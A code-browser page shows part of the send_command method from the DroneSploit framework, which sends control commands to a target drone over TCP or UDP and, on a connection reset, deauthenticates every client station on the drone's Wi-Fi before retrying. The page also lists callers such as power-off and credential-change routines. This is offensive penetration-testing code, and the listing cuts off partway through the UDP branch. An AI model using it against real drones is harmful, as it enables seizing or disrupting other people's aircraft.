MCPcopy
hub / github.com/dronesploit/dronesploit / send_command

Method send_command

dronesploit/drones/__init__.py:30–106  ·  view source on GitHub ↗
(self, *args, **kwargs)

Source from the content-addressed store, hash-verified

28 return False
29
30 def send_command(self, *args, **kwargs):
31 self._last_cmd_resp = None
32 fly_params = getattr(self, 'fly_params', {})
33 sock_type = fly_params.get('socket', socket.SOCK_STREAM)
34 s = socket.socket(socket.AF_INET, sock_type)
35 timeout = kwargs.get('timeout', 10)
36 s.settimeout(timeout)
37 success = False
38 try:
39 payload = fly_params.get('format', "%s") % args
40 except Exception as e:
41 self.logger.error("Bad command payload format ({})".format(e))
42 return False
43 target_addr = (self.config.option("IP").value, self.config.option("FLYCTL_PORT").value)
44 command_result = fly_params.get('result', lambda r: r)
45 self._last_cmd_resp = None
46 # pre-processing function
47 fly_params.get('pre', lambda *a: None)(s, target_addr, fly_params)
48 # handle TCP
49 if sock_type == socket.SOCK_STREAM:
50 try:
51 s.connect(target_addr)
52 self.logger.debug("Send: " + payload)
53 s.send(payload.encode())
54 r = s.recv(1024).strip(b" \x00").decode()
55 self.logger.debug("Recv: {}".format(r or "empty response"))
56 if len(r) > 0:
57 self._last_cmd_resp = r = ast.literal_eval(r)
58 success = command_result(r)
59 if not success:
60 self.logger.failure("Command failed")
61 return success
62 else:
63 self._last_cmd_resp = ""
64 raise ConnectionResetError("Empty response")
65 except ConnectionResetError:
66 kwargs['retry'] = kwargs.get('retry', 5)
67 kwargs['deauth'] = kwargs.get('deauth', 3)
68 except Exception as e:
69 self.logger.failure("Command failed ({})".format(e))
70 finally:
71 s.close()
72 if kwargs.get('retry', 0) > 0:
73 if kwargs.get('deauth', 0) > 0:
74 essid = self.config.option('TARGET').value
75 t = self.console.state['TARGETS'][essid]
76 bssid = t['bssid']
77 for sta in t['stations']:
78 self.deauth(bssid, sta, 5, .5, 2, silent=True)
79 sleep(.1)
80 kwargs['retry'] -= 1
81 kwargs['deauth'] -= 1
82 return self.send_command(*args, **kwargs)
83 # handle UDP
84 elif sock_type == socket.SOCK_DGRAM:
85 success = None
86 try:
87 self.logger.debug("Send: " + payload)

Callers 8

_change_ap_credsMethod · 0.80
_send_udp_commandMethod · 0.80
_change_ap_credsMethod · 0.80
_change_datetimeMethod · 0.80
_get_sysinfoMethod · 0.80
_power_offMethod · 0.80
_stop_videoMethod · 0.80
send_updateMethod · 0.80

Calls 2

connectMethod · 0.80
deauthMethod · 0.80

Tested by

no test coverage detected